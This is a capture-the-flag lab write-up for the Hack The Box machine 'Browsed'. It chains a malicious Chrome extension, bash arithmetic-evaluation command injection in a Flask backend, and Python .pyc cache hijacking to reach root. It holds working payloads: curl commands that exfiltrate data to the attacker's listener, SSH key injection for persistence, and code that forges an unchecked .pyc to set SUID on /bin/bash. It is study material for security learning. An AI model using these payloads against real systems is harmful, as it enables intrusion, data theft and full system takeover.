Browsed
Malicious Chrome MV3 extension uploaded to server-side browser achieved RCE via bash arithmetic evaluation in a Flask/bash backend, then escalated to root via .pyc injection into a world-writable __pycache__ directory of a sudo-allowed Python script.
contents

Browsed – HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Browsed |
| IP | 10.129.244.79 |
| OS | Linux (Ubuntu 24.04) |
| Difficulty | Medium |
| Key Topics | Chrome extension abuse, bash arithmetic evaluation, Python .pyc injection, sudo privilege escalation |
Overview#
Browsed was a Medium Linux machine running nginx with two virtual hosts: a static site with a Chrome extension upload feature (browsed.htb), and an internal Gitea instance (browsedinternals.htb). The server executed uploaded Chrome extensions in a headless Chrome for Testing v134 instance, which visited the Gitea site and localhost. A public Gitea repository revealed a Flask application on localhost:5000 with a bash script vulnerable to arithmetic evaluation injection. A malicious Chrome extension called the vulnerable Flask endpoint to achieve RCE as user larry. Privilege escalation was achieved by injecting a malicious .pyc file into a world-writable __pycache__ directory belonging to a Python script that larry could run as root via sudo.
Reconnaissance#
An nmap scan of all 65535 TCP ports revealed only two open services:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0)80/tcp open http nginx 1.24.0 (Ubuntu)The HTTP title was “Browsed” and the hostname browsed.htb was added to /etc/hosts. TTL of 63 from the initial ping confirmed a Linux target behind one hop.
Enumeration#
browsed.htb – Chrome Extension Upload#
Fingerprinting with whatweb showed a static HTML5 UP template site with jQuery and PHP backend. Three key pages were identified:
/index.html– Homepage mentioning Chrome v134 extensions/samples.html– Three sample Chrome MV3 extensions (Fontify, ReplaceImages, Timer) available for download/upload.php– Form accepting Chrome extensions as.zipfiles (content type must beapplication/zip)
Uploading a test extension and polling upload.php?output=1 revealed Chrome’s verbose logs. Critical findings from the logs:
- Chrome for Testing installed at
/opt/chrome-linux64/ - Chrome ran as the
wwwuser (profile at/var/www/.config/google-chrome-for-testing/) - Extensions were extracted to
/tmp/extension_* - After loading the extension, Chrome navigated to
http://browsedinternals.htb/andhttp://localhost/ - CSS paths in the response HTML disclosed Gitea 1.24.5 on
browsedinternals.htb
The hostname browsedinternals.htb was added to /etc/hosts.
browsedinternals.htb – Gitea 1.24.5#
The Gitea instance had open registration and one public user larry with a public repository MarkdownPreview. The repository source code was retrieved via the Gitea API:
app.py – A Flask application running on 127.0.0.1:5000 with these endpoints:
| Endpoint | Method | Function |
|---|---|---|
/ | GET | Markdown editor form |
/submit | POST | Convert markdown to HTML, save to files/ |
/routines/<rid> | GET | Execute subprocess.run(["./routines.sh", rid]) |
/view/<filename> | GET | Serve saved HTML files (uses secure_filename) |
routines.sh – A bash script managing temp files, backups, and logs. The critical section:
if [[ "$1" -eq 0 ]]; then # Routine 0: Clean temp files ...elif [[ "$1" -eq 1 ]]; then ...The use of -eq (integer comparison) inside [[ ]] triggers bash arithmetic evaluation on $1. This is the vulnerability: bash evaluates array subscripts as commands, so a payload like a[$(command)] causes command substitution during the arithmetic evaluation.
Exploitation – User Flag#
Attack Chain#
- Upload a malicious Chrome MV3 extension to
browsed.htb/upload.php - Server-side Chrome loads the extension and visits
browsedinternals.htbandlocalhost - The extension’s service worker makes fetch requests to
localhost:5000/routines/<payload> - Flask passes the payload to
subprocess.run(["./routines.sh", payload]) - Bash evaluates the payload as an arithmetic expression, triggering command substitution
Key Constraint#
Flask’s <rid> route parameter does not match paths containing / characters. All payloads had to be crafted without forward slashes. This was solved by using cd ~ to navigate to home directories and find with -name to locate files.
Malicious Extension#
The extension used manifest_version 3 with a service worker (background.js) and content script:
manifest.json:
{ "manifest_version": 3, "name": "RCEHelper", "version": "1.0", "permissions": [], "host_permissions": ["<all_urls>"], "background": { "service_worker": "background.js" }, "content_scripts": [{ "matches": ["<all_urls>"], "js": ["content.js"], "run_at": "document_idle" }]}background.js (key function):
async function tryRoutine(payload, label) { // payload must NOT contain / (Flask <rid> route won't match) if (payload.includes('/')) return; const url = "http://localhost:5000/routines/" + encodeURIComponent(payload); const resp = await fetch(url); // ...}The payloads used the bash arithmetic evaluation trick:
// Get user flagawait tryRoutine('a[$(find ~ -name user.txt | xargs cat | curl -d @- 10.10.14.51:9999)]', 'flag');// Get idawait tryRoutine('a[$(id | curl -d @- 10.10.14.51:9999)]', 'id');// Create .ssh directory and add SSH key for persistent accessawait tryRoutine('a[$(cd ~ && mkdir -p .ssh)]', 'mkdir_ssh');await tryRoutine('a[$(cd ~ && cd .ssh && echo BASE64KEY | base64 -d >> authorized_keys)]', 'add_key');await tryRoutine('a[$(cd ~ && chmod 700 .ssh && cd .ssh && chmod 600 authorized_keys)]', 'fix_perms');// Enumerate sudo privilegesawait tryRoutine('a[$(sudo -l 2>&1 | curl -d @- 10.10.14.51:9999)]', 'sudo_l');Execution#
A Python HTTP listener was started on the attacker machine (port 9999) to receive exfiltrated data. The extension was zipped and uploaded:
cd exploits/rce_ext && zip -j ../rce_ext.zip manifest.json background.js content.jscurl -X POST http://browsed.htb/upload.php -F "extension=@rce_ext.zip;type=application/zip"The listener received callbacks confirming RCE as larry (uid=1000). The user flag was exfiltrated and an SSH key was injected for persistent access.
ssh -i exploits/larry_key larry@10.129.244.79 "cat /home/larry/user.txt"5e827d3fc8fa66b1bef810477e90d455The sudo -l output revealed the privilege escalation vector:
(root) NOPASSWD: /opt/extensiontool/extension_tool.pyUser Flag: 5e827d3fc8fa66b1bef810477e90d455
Privilege Escalation – Root Flag#
Enumeration#
With SSH access as larry, the sudo-allowed script was analysed:
cat /opt/extensiontool/extension_tool.pycat /opt/extensiontool/extension_utils.pyls -la /opt/extensiontool/__pycache__/Key findings:
extension_tool.pyimportsextension_utilsandjsonschemaextension_utils.pycontains extension validation and cleanup functions/opt/extensiontool/__pycache__/had permissionsdrwxrwxrwx(world-writable) and was empty
Python .pyc Injection#
When Python imports a module, it checks __pycache__/ for a compiled .pyc file before reading the .py source. By placing a malicious .pyc in the world-writable __pycache__/ directory, the import could be hijacked when extension_tool.py ran as root.
The .pyc file header was crafted with flags=1 (hash-based, unchecked invalidation). With this flag, Python loads the cached bytecode without verifying the source hash, so it executes the malicious code regardless of what the real extension_utils.py contains.
python3.12 -c 'import py_compile, struct, os, time, marshal, types# Malicious code to execute as rootcode_str = """import osos.system("cp /root/root.txt /tmp/root_flag.txt && chmod 644 /tmp/root_flag.txt")os.system("chmod u+s /bin/bash")"""# Compile to code objectcode = compile(code_str, "extension_utils.py", "exec")# Build .pyc with flags=1 (hash-based unchecked)magic = (3531).to_bytes(2, "little") + b"\r\n" # Python 3.12 magicflags = (1).to_bytes(4, "little") # unchecked hash-basedsource_hash = b"\x00" * 8 # ignored when uncheckedmarshalled = marshal.dumps(code)pyc_data = magic + flags + source_hash + marshalledwith open("/tmp/extension_utils.cpython-312.pyc", "wb") as f: f.write(pyc_data)'The compiled .pyc was placed in the target directory and the sudo script was executed:
cp /tmp/extension_utils.cpython-312.pyc /opt/extensiontool/__pycache__/sudo /opt/extensiontool/extension_tool.py --ext FontifyPython imported the malicious extension_utils from __pycache__/ as root, which:
- Copied
/root/root.txtto/tmp/root_flag.txtwith world-readable permissions - Set the SUID bit on
/bin/bash
cat /tmp/root_flag.txt57c26369d7e423e2ba313ad8f31fa457ls -la /bin/bash-rwsr-xr-x 1 root root ... /bin/bashRoot Flag: 57c26369d7e423e2ba313ad8f31fa457
Obstacles & Lessons Learned#
No forward slashes in Flask route parameter: The Flask
<rid>route type does not match paths containing/. All bash payloads had to avoid/entirely. This was overcome by usingcd ~for navigation andfind -namefor file discovery instead of absolute paths.SSH key injection via base64: The SSH public key itself contained
/characters, which would break the payload. This was solved by base64-encoding the key and usingecho KEY | base64 -d >> authorized_keyson the target.Python .pyc header flags: Simply compiling a
.pycwithpy_compilewould produce a timestamp-based cache file that Python would reject because the timestamp would not matchextension_utils.py. Settingflags=1in the.pycheader switched Python to hash-based unchecked invalidation mode, causing it to load the cached bytecode without any source verification.Service worker vs content script: The initial approach of using only content scripts was insufficient because
localhost:5000needed to be fetched from a context that could reach it. The MV3 service worker (background.js) had the right permissions viahost_permissions: ["<all_urls>"]to make cross-origin fetch requests directly tolocalhost:5000.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | TCP port scanning and service version detection |
| whatweb | Web technology fingerprinting |
| curl | HTTP requests for upload, API interaction, and testing |
| ffuf | Virtual host / subdomain enumeration |
| python3 | HTTP listener for data exfiltration, .pyc compilation |
| zip | Packaging the malicious Chrome extension |
| ssh / ssh-keygen | Persistent access after initial RCE |
| Chrome for Testing (server-side) | Executed the uploaded malicious extension |